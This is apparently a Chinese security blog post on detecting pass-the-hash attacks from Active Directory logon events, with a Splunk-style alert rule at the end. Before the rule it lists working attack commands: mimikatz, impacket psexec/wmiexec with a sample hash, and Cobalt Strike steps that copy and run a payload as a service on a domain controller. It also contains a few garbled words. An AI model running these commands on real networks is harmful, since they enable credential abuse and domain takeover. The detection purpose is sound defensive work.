基于AD Event日志检测哈希传递攻击

article/2025/10/14 15:26:46

01、简介

哈希传递攻击是基于NTLM认证的一种攻击方式,当我们获得某个管理员用户的密码哈希值,就可以利用密码哈希值进行横向渗透。

在域环境中,只有域管理员的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。基于AD Event日志如何检测哈希传递攻击,这个就是我们今天探讨的话题。

02、哈希传递攻击实例

(1)使用mimikatz 进行哈希传递获取域控权限

在域环境中,当我们获得了域管理员的NTLM哈希值,我们就可以访问域内任何一台服务器。

#提权
privilege::debug
#使用域管理员bypassu拍卖行及的NTLM值进行哈希传递攻击
sekurlsa::pth /user:bypass /domain:evil.com /ntlm:44f077e27f6fef69e7bd834c7242b040

利用PsExec.exe来远程登录和执行命令

(2)使用lmpacket工具包进行哈希传递获取域控权限

lmpacket工具包集成了多个脚本,可用来进行哈希传递,如psexec.py、wmiexec.py。

psexec.py  -hashes 00000000000000000000000000000000:44f077e27f6fef69e7bd834c7242b040 bypass@192.168.44.219
wmiexec.py -hashes 00000000000000000000000000000000:44f077e27f6fef69e7bd834c7242b040 bypass@192.168.44.219

(3) 通过Cobalt strike进行pth横向获取域控权限

在已上线的机器中,使用先前获取的hash对目标域控进行哈希传递攻击,获取域控权限。

哈希传递

pth evil\bypass 44f077e27f6fef69e7bd834c7242b040
shell dir \\192.168.44.219\c$

获取域控系统权限

shell copy  C:\Users\administrator\Desktop\artifact.exe \\192.168.44.219\c$
shell sc \\192.168.44.219 create test binpath=C:\artifact.exe
shell sc \\192.168.44.219 start test
shell sc \\192.168.44.219 delete test

03、哈希传递攻击检测

哈希传递攻击的检测其实是比较困难的,因为它总是和正常的访问行为非常类似,我们需要从域控收集的大量的安全日志中找到需要关心的事件和具体的值。

分析:在使用NTLM凭证进行横向获取域控权限时,域控的日志中会记录4624登录事件,LogonType为3且登录进程为NtlmSsp,这里可以找到登录用户和登录源地址。为了能从正常的访问行为中,找出异常登录行为,我们可以设置白名单,将域控管理员和正常登录来源IP添加至白名单,关注关键用户的登录行为,排除干扰项。另外,当攻击者使用工具进行哈希传递的时候,比如使用psexec.py脚本进行哈希传递会同时产生多条LogonType为3且登录进程为NtlmSsp的日志,我们还可以将登录频率作为判断依据进行检测。 

安全规则示例:

eventtype=wineventlog_security   EventCode=4624   LogonProcessName=NtLmSsp   match_user!="*$"    src!="-"   match_user IN("administrator","bypass") | eval time=_time | bin time span=30m   | stats  count earliest(_time) AS start_time latest(_time) AS end_time values(src) as val_src  by time match_user  dest   | eval  start_time=strftime(start_time,"%F %T"),end_time=strftime(end_time,"%F %T")  | search count >5  | nomv val_src | eval message="在"+start_time+"到"+end_time+"时间内,域控服务器:"+dest +" 疑似遭受哈希传递攻击"+count+"次, 操作账号:"+match_user+" 操作来源ip:"+val_src| table  start_time   end_time  match_user message  count val_src  dest

告警效果如下图:


http://chatgpt.dhexx.cn/article/f1kH3N60.shtml

相关文章

linux学习笔记-RH135(六):网络文件系统

网络文件系统 一.samba服务1.samba基本信息2.samba的安装与启用3.samba用户的建立4.samba用户访问家目录6.samba访问控制7.samba的常用配置参数8.samba多用户挂载9.samba自动挂载 二.NFS1.nfs的启用2.nfs配置3.nfs配置参数4.nfs自动挂载5.自动挂载参数更改挂载版本更改挂载超时…

工作组与域环境下NTLM协议数据包分析

NTLM协议由来 早起SMB协议以明文口令形式在网络上传输,存在安全问题为了解决这个问题出现了LM协议, 因为LM协议过于简单很容易被破解,于是微软又提出了NTLM协议,以及更新的NTLM第2版。 发展过程:SMB -> LM -> NTLM -> NTLM v2 NTLM的作用:用于工作组…

基于NTLM认证的中间人攻击(含实战)

文章目录 中间人攻击0x01 域和工作组0x02 NTLM认证(Windows)本地认证NTLM Hash的生成 网络认证工作组环境NTLM认证流程域环境NTLM认证 0x03 域名解析协议LLMNR解析过程 NetBIOSWindows系统域名解析顺序 0x04 WPAD工作原理WPAD劫持 0x05 NTLM中继0x06 Responder介绍 攻击演示0x0…

批次更新失败服务器返回的信息,服务器出现大批量登录审核失败/NtLmSsp攻击

问题:服务器出现大批量登录审核失败 详细信息:---重点红色标注 日志名称: Security 来源: Microsoft-Windows-Security-Auditing 日期: 2020/7/28 16:47:37 事件 ID: 4625 任务类别: 登录 级别: 信息 关键字: 审核失败 用户: 暂缺 计算机: VM82 描述: 帐…

NtLmSsp 登录爆破防御办法踩的坑-网络安全:LAN管理器身份验证级别设置还原

windows系统日志看到很多相同NtlmSsp报错 于是在找了一些解决方法,按照下面这张图设置踩了一些坑 按照图上设置2008系统没问题,2019系统远程桌面就怎么设置都连不上了。 暂时正确的解决办法: 1、实际操作折腾一番发现上面那个LAN可以不用设…

针对ntlmssp攻击的本机安全攻防记(第一回)

一、写在前面 这个问题说来也是恼火,切入正题之前先谈谈最近的一段狗血的经历,如果比较着急,就直接跳到第二部分吧!! 新去的一家政府支持的号称做互联网的单位(据后来观察几个部门都是凑吧的)。…

NtLmSsp 登录爆破防御办法 附修改RDP远程桌面3389端口方法

NtLmSsp 登录爆破防御办法 附修改RDP远程桌面3389端口方法 https://www.bnxb.com/winserver/27745.html 今天在系统日志中看到一堆尝试登录远程桌面失败的提示,内容类似下方 - EventData SubjectUserSid S-1-0-0 SubjectUserName - SubjectDomainName - Su…

java 打包exe_Java项目打包成exe的详细教程

Java项目打包成exe的详细教程 把Java项目打包成exe共分为以下两步: 1、 利用Eclipse先把Java项目先打成jar包 2、 利用exe4j工具把jar包转成exe 这里以Java项目(ExeDemo)为例进行讲解 随便在一个位置新建一个文件夹,文件夹的名称也可以随便起&#xff0c…

java项目如何打包?

导航 步骤 1 编写编译的脚本步骤 2 打包脚本步骤 3 jar包里面是什么 D盘下面的tool文件夹已经有三个工具类了(其实是两个,CustNode是为了TuziLinkedList服务的),我们这一节来进行打包,这样的好处就是不用每次编译都把t…

Java打包exe文件

launch4j下载地址:launch4j 虽然很多人都说没什么公司会使用Java编辑Swing界面程序,但有空余时间时总会想编写一些自己的小程序,经常这样乐此不彼。开发之前首先得会怎么将Java程序打包生成exe文件,要不然每次使用软件时都要使用…

JAVA程序打包为EXE

把Java项目打包成exe共分为以下两步: 1、 利用Eclipse先把Java项目先打成jar包 2、 利用exe4j工具把jar包转成exe 这里以Java项目(ExeDemo)为例进行讲解 随便在一个位置新建一个文件夹,文件夹的名称也可以随便起,这里我们在桌面上新建一个…

java打包为可执行的exe文件,并在无环境的电脑上运行

上一篇文章将讲完关于摸鱼时间工具的代码部分,具体参考一个好玩的java摸鱼时间计算悬浮工具_峰哥爱写小代码01的博客-CSDN博客,下面我们来对程序进行打包,首先是idea打包为可执行的jar程序,具体步骤如下: 点击File-&g…

java文件如何打包_java文件如何打包?

java文件打包的方法如下: 1、首先要确认自己写的程序有没有报错。 2、第一次我写的是Web Project到现在,我一直没有执行成功,所以最好创建的是java Project 打包步骤: 1.在项目上,右键,选择Export。 2.进入…

java打包成jar对其进行加密处理防止反编译

Xjar工具实现 1:创建一个maven项目(无需启动类) 1> pom依赖 <dependencies><dependency><groupId>com.github.core-lib</groupId><

java打包----“Artifacts”

打包流程 1. 打开菜单栏File-Project Structure 2. 点击Artifacts 3. 点击 "" - JAR - From module with depenencies 注意选择主类--运行的类 二.阶段编译jar包 2.1. 点击Build-Artifacts 上述完成后&#xff0c;就是生成了*.jar包,去下面的截图中找寻*.jar包的…

Java命令行编译打包

文章目录 一、简介1、介绍2、Jar简介3、Java命令行3.1 jar相关命令3.2 Java相关命令 二、简单编译打包实战1、简单编译执行2、Jar包方式运行2.1 普通方式执行2.2 可执行的 jar 包 一、简介 1、介绍 本文主要记录jar与java相关命令介绍以及Java 命令行编译、执行、打包等操作 …

java打包_java工程打包(方式一)

1、新建工程myproject package cn.zj; public class TestMain { public static void main(String[] args) { System.out.println("Hello World!"); } } 2、右击Java工程选择Export—>选择JAR file—>Next 3、选择要打包的文件&#xff0c;不需要的文件不必打包…

IDEA java打包方法(转载)

1、打包时尽可能选择将依赖的jar包独立存储&#xff0c;而不是将所有依赖打入同一个jar包的方式。后者会导致出现一些莫名的错误。 2、maven工程 有main函数的类&#xff0c;要放在src/main包中&#xff0c;而不是src/test包中。 3、如果使用jar包时显示no main manifest attr…

vscode中java打包exe

1、创建一个清单文件&#xff1a;manifest.txt,这个文件尤为重要,是要写入jar包内的。 在项目文件夹下&#xff0c;和.classpath同一个路径 例如&#xff1a; Manifest-version: 1.0 Class-Path: Created-By: LYF Main-Class: app.App 每个冒号后面都要有空格 最后一行需要有一…

java打包成exe(带图片,不放大)

目录 一、如何把java程序打包成exe文件 二、过程 二.1、如何将java程序打包成jar包 二.2、如何使用软件exe4j将jar包打包成exe文件 三、如何在打包的时候带上图片和音乐 四、如何打包后不放大 五、如何把exe文件发送给别人也可以打开&#xff08;别人没有java环境也可以…